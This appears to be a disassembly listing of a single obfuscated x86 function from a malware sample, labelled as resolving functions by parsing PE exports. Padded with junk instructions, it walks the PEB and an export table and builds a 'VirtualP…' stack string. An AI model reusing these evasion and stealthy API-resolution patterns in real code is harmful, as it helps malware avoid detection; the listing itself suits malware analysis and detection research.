Function at 0x4121a2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push eax
add esp, 4
sub eax, 0x1626d
pop eax
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x411cb8
mov dword [ebp - 0xca8], 0
jmp 0x411d27
push esi
push esi
add esp, 4
jmp 0x411cc2
jmp 0x411ccb
add esi, 0x57ba
sub esi, 0x13926
pop esi
push edi
push edi
add esp, 4
or edi, 0x123f4
and edi, 0xe134
pop edi
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x411d1d
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x411d27
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x411d3e
mov ecx, dword [ebp - 0x1970]
mov dword [ebp - 0x3f4], ecx
jmp 0x411d4f
jmp 0x411b28
cmp dword [ebp - 0x3f4], 0
je 0x411e2a
push eax
push esi
add esp, 4
sub eax, 0x15dc5
and eax, 0x17fd5
pop eax
push eax
push ecx
add esp, 4
add eax, 0x132e7
pop eax
push ebx
xor ebx, 0x6257
sub ebx, 0x3ca5
or ebx, 0x6530
pop ebx
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x1974], eax
push ecx
push eax
add esp, 4
or ecx, 0xe5d0
pop ecx
push edi
push edi
add esp, 4
call 0x411dbb
add byte [edx + 0x36], al
dec eax
inc eax
dec ecx
dec ebx
dec ecx
inc esp
cmp bh, byte [ebx + eax*4]
les eax, [ecx + eax*4]
out 0xed, eax
rol dword [eax], 0
jmp 0x411dcb
pop edi
mov ecx, dword [ebp - 0x1974]
mov dword [ebp - 0x1978], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x1978]
test eax, eax
jne 0x411e2a
push edi
jmp 0x411df2
pop edi
push esi
push ecx
add esp, 4
and esi, 0x47fa
xor esi, 0x119cc
pop esi
push ebx
or ebx, 0x12b97
pop ebx
push esi
add esi, 0x1b2a
sub esi, 0x2b1e
pop esi
mov dword [ebp - 0x79c], 0
jmp 0x412514
push ebx
push edx
add esp, 4
or ebx, 0x118a4
xor ebx, 0x9448
xor ebx, 0x1368b
sub ebx, 0x3769
pop ebx
push eax
and eax, 0xce74
pop eax
push eax
push ebx
add esp, 4
jmp 0x411e5b
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push esi
push esi
add esp, 4
or esi, 0x14527
pop esi
push ecx
xor ecx, 0xd9c8
xor ecx, 0x4b56
sub ecx, 0x11af4
sub ecx, 0x9c81
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x4957
pop ecx
cmp dword [ebp - 0x15fc], 0
jne 0x411ecd
mov dword [ebp - 0x31c], 0
jmp 0x412174
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push ecx
push ebx
add esp, 4
jmp 0x411eed
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x7b71
add ecx, 0x11d1b
pop ecx
push eax
call 0x411f0d
add byte [edx + 0x37], al
dec eax
cmp byte [ecx], bh
cmp dword [ebx - 0x7ca7fb3c], eax
mov ebp, 0xfffff34c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x31c], 0
jmp 0x412174
push edx
call 0x412182
add byte [ecx + 0x43], al
aas
inc ebp
xor cl, byte [ebp + 0x3f]
add esp, 4
jmp 0x41218d
pop edx
push eax
push esi
add esp, 4
call 0x4121a2
add byte [edx + 0x4b], cl
cmp eax, 0x4f3b363e
xor al, 0x37
add esp, 4
pop eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push ebx
xor ebx, 0x8df0
pop ebx
push edx
push esi
add esp, 4
and edx, 0xcd87
sub edx, 0xd592
and edx, 0xf023
sub edx, 0x829
pop edx
push ecx
push ecx
add esp, 4
jmp 0x4121e6
pop ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x412217
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x412508
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x41223f
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x412508
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x412271
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x412508
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x412296
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x412508
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d10], ecx
mov dword [ebp - 0x768], 0
jmp 0x4122f0
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x4124fc
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d10]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x19c], 0
jmp 0x412360
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x412412
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x412412
push edi
push esi
add esp, 4
and edi, 0x1c30
add edi, 0x1488e
pop edi
push ebx
or ebx, 0x12085
pop ebx
push esi
push eax
add esp, 4
or esi, 0x110bb
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0xa8da
pop ecx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x412404
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x41240b
jmp 0x412351
jmp 0x412412
push eax
add eax, 0x6b54
call 0x412425
add byte [ecx], bh
inc esp
cmp dword [esi + 0x4b], eax
xor eax, 0x8104c483
sub dword [eax], eax
add byte [eax + 0x57], bl
xor edi, 0x7239
xor edi, 0x1bcb
pop edi
push eax
jmp 0x412443
pop eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x412471
mov dword [ebp - 0xcb8], 0
jmp 0x4124e0
push edx
push ebx
add esp, 4
or edx, 0x175dd
add edx, 0x3b90
or edx, 0x1526c
pop edx
push edi
xor edi, 0x72f2
sub edi, 0xcce
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x4101
pop esi
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x4124d6
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x4124e0
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x4124f7
mov ecx, dword [ebp - 0x198c]
mov dword [ebp - 0x510], ecx
jmp 0x412508
jmp 0x4122e1
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push ebx
and ebx, 0x8e0f
xor ebx, 0xcf47
add ebx, 0xffd2
xor ebx, 0xe44d
pop ebx
push esi
push esi
add esp, 4
and esi, 0x6ecb
or esi, 0x1551f
sub esi, 0x14ed9
pop esi
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push edi
push eax
add esp, 4
add edi, 0x1a83
pop edi
push edi
push edi
add esp, 4
jmp 0x41256d
jmp 0x412572
sub edi, 0x16fa5
add edi, 0x31bb
pop edi
push ecx
or ecx, 0xa10f
pop ecx
cmp dword [ebp - 0x3e8], 0
je 0x412599
cmp dword [ebp - 0xab8], 0
jne 0x4125df
push eax
push edi
add esp, 4
and eax, 0x11eac
or eax, 0xce65
pop eax
push ebx
add ebx, 0x16003
sub ebx, 0x12b14
or ebx, 0x15e92
pop ebx
push edi
push eax
add esp, 4
sub edi, 0xe163
pop edi
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push ecx
push esi
add esp, 4
or ecx, 0x159ed
add ecx, 0x81f
pop ecx
push ebx
push ebx
add esp, 4
jmp 0x412608
sub ebx, 0xb0bf
sub ebx, 0x8429
xor ebx, 0x170b3
pop ebx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push eax
and eax, 0xb05b
pop eax
push esi
push ebx
add esp, 4
xor esi, 0xe6bc
add esi, 0xdb6d
add esi, 0xc163
call 0x412674
add byte [edx], bh
aas
dec esp
cmp al, 0x3e
dec esp
inc edi
inc esi
inc ebx
add esp, 4
pop esi
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50